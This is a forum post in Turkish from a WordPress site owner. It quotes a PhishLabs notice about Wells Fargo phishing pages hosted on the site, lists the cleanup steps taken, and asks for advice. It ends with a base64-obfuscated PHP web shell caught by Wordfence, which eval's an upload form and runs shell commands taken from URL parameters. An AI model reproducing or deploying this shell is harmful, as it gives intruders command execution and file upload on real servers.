Hostingimden aşağıdaki maili aldım.
Telefon açtım öğrendiğim kadarı ile sitem üzerinden sahtekarlık dolandırıcılık saldırısı yapılıyormuş. Sitem wordpress son zamanlarda sadece yaptığım şey temayı değiştirmek oldu ve sanırım temada açık bırakılmış. Temayı wp den indirmemiştim büyük hata.

Şimdi bahsedilen dosyaları sildim
Sonra worpdresi yeniden güncelledim.
Ftp yi indirip virüs taraması yaptım.
O malum temayı sildim.

Bundan sonra ne yapmamı öneririsiniz ?

Our company investigates computer crime incidents on behalf of banks and other companies.

A phishing site was found to be operating on your network and targeting Wells Fargo Online Banking customers:


ip.xxx.190.213 - 213vd8gug.ni.net.tr

hXXp://www. s i t e m .com/wp-includes/pomo/wellsfargo-online.php
hXXp://www. s i t e m .com/wp-includes/pomo/verification.php


If possible, please provide the following information to assist our investigation:

- Web server and FTP server log files for the past several days
- Copies of all phishing files, hack tools, or other hacker files

Finally, we kindly request that you disable or remove the phishing files as soon as possible.

If we have contacted you in error, or there is a better way for us to report this incident, please let us know.

Thank you for your assistance,

Walker Steele
PhishLabs Security Operations
soc@phishlabs.com
+1.202.386.6001
http://www.phishlabs.com/

Edit: Wordfence eklentisini kurdum ve şunu yakaladı !!! BAse64 çözebilen varsa bakabilrimi nedir ?

<?php
$jembot = 'aWYoaXNzZXQoJF9HRVRbJ2plbWJvdCddKSkNCnsNCmVjaG8gIjxib2R5IGJnY29sb3I9YmxhY2s+DQo8Zm9udCBjb2xvcj1jeWFuIHNpemU9Mz4iOw0KZWNobyAiPGgyPmVtcGl4Y3JldyB0ZWNobm9sb2d5PC9oMj48aHI+IjsNCiAgICBlY2hvICI8Zm9ybSBhY3Rpb249XCJcIiBtZXRob2Q9XCJwb3N0XCIgZW5jdHlwZT1cIm11bHRpcGFydC9mb3JtLWRhdGFcIj4NCjxsYWJlbCBmb3I9XCJmaWxlXCI+ZW1waXg6PC9sYWJlbD4NCjxpbnB1dCB0eXBlPVwiZmlsZVwiIG5hbWU9XCJmaWxlXCIgaWQ9XCJmaWxlXCIgLz4NCjxiciAvPg0KPGlucHV0IHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwic3VibWl0XCIgdmFsdWU9XCJ1cGxvZFwiPg0KPC9mb3JtPiI7DQppZiAoJF9GSUxFU1siZmlsZSJdWyJlcnJvciJdID4gMCkNCiAgew0KICBlY2hvICJnYWdhbDogIiAuICRfRklMRVNbImZpbGUiXVsiZXJyb3IiXSAuICI8YnIgLz4iOw0KICB9DQplbHNlDQogIHsNCiAgZWNobyAic3Vrc2VzOiAiIC4gJF9GSUxFU1siZmlsZSJdWyJuYW1lIl0gLiAiPGJyIC8+IjsNCiAgZWNobyAidWt1cmFuOiAiIC4gKCRfRklMRVNbImZpbGUiXVsic2l6ZSJdIC8gMTAyNCkgLiAiIEtiPGJyIC8+IjsNCiAgZWNobyAibWVudGFoOiAiIC4gJF9GSUxFU1siZmlsZSJdWyJ0bXBfbmFtZSJdOw0KICB9DQppZiAoZmlsZV9leGlzdHMoIiIgLiAkX0ZJTEVTWyJmaWxlIl1bIm5hbWUiXSkpDQogICAgICB7DQogICAgICBlY2hvICRfRklMRVNbImZpbGUiXVsibmFtZSJdIC4gIiB3ZXMgZW5layBjb2suICI7DQogICAgICB9DQogICAgZWxzZQ0KICAgICAgew0KICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbImZpbGUiXVsidG1wX25hbWUiXSwNCiAgICAgICIiIC4gJF9GSUxFU1siZmlsZSJdWyJuYW1lIl0pOw0KICAgICAgZWNobyAiIG1hdGVuZzogIiAuICIiIC4gJF9GSUxFU1siZmlsZSJdWyJuYW1lIl07DQplY2hvIjxocj4iOw0KICAgICAgfQ0KICB9DQplbHNlaWYgKCRfR0VUWyJlbXBpeCJdKXsNCglzeXN0ZW0oJF9HRVRbImVtcGl4Il0pOyANCn0NCmVsc2Ugew0KJHVuID0gcGhwX3VuYW1lKCk7DQplY2hvICJlbXBpeGNyZXc6ICR1biA6ZW1waXhjcmV3IjsNCn0=';
eval(base64_decode($jembot));
?>